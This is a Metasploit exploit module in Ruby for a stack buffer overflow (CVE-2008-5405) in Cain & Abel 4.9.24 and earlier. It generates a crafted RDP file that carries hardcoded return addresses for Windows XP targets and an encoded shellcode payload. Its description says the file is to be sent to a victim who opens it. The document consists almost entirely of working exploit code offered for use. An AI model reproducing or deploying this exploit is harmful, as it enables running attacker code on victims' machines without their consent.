Cain & Abel 4.9.24 – RDP Buffer Overflow (Metasploit)
## # $Id: cain_abel_4918_rdp.rb 11127 2010-11-24 19:35:38Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Cain & Abel <= v4.9.24 RDP Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24 and below. An attacker must send the file to victim, and the victim must open the specially crafted RDP file under Tools -> Remote Desktop Password Decoder. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancek <trancek[at]yashira.org>' ], 'Version' => '$Revision: 11127 $', 'References' => [ [ 'CVE', '2008-5405' ], [ 'OSVDB', '50342' ], [ 'URL', 'http://www.milw0rm.com/exploits/7329' ], [ 'BID', '32543' ], ], 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # Tested ok patrickw 20090503 [ 'Windows XP SP2 English', { 'Ret' => 0x7c82385d } ], #call esp [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ], #jmp esp [ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], #jmp esp ], 'Privileged' => false, 'DisclosureDate' => 'Nov 30 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'exploit_cain.rdp']), ], self.class) end def exploit filerdp = rand_text_alpha_upper(8206) filerdp << [target.ret].pack('V') + [target.ret].pack('V') filerdp << payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(filerdp) end end |